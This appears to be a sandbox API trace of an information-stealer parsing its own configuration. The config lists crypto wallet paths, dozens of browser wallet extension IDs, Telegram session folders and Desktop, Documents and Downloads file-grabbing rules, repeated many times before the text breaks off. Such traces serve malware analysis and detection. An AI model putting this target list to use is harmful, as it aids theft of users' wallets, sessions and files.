Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4031 [0266.256] LocalAlloc (uFlags=0x40, uBytes=0x1ffe) returned 0x6fc408 [0266.256] StrCpyW (in: psz1=0x6ef5a0, psz2="ElectronCash" | out: psz1="ElectronCash") returned="ElectronCash" [0266.257] LocalFree (hMem=0x6fc408) returned 0x0 [0266.257] StrStrW (lpFirst="26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.257] lstrlenW (lpString="elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4031 [0266.257] LocalAlloc (uFlags=0x40, uBytes=0x1ffe) returned 0x6fc408 [0266.257] StrCpyW (in: psz1=0x6f1ee8, psz2="26" | out: psz1="26") returned="26" [0266.258] LocalFree (hMem=0x6fc408) returned 0x0 [0266.258] StrStrW (lpFirst="ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.258] lstrlenW (lpString="elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension 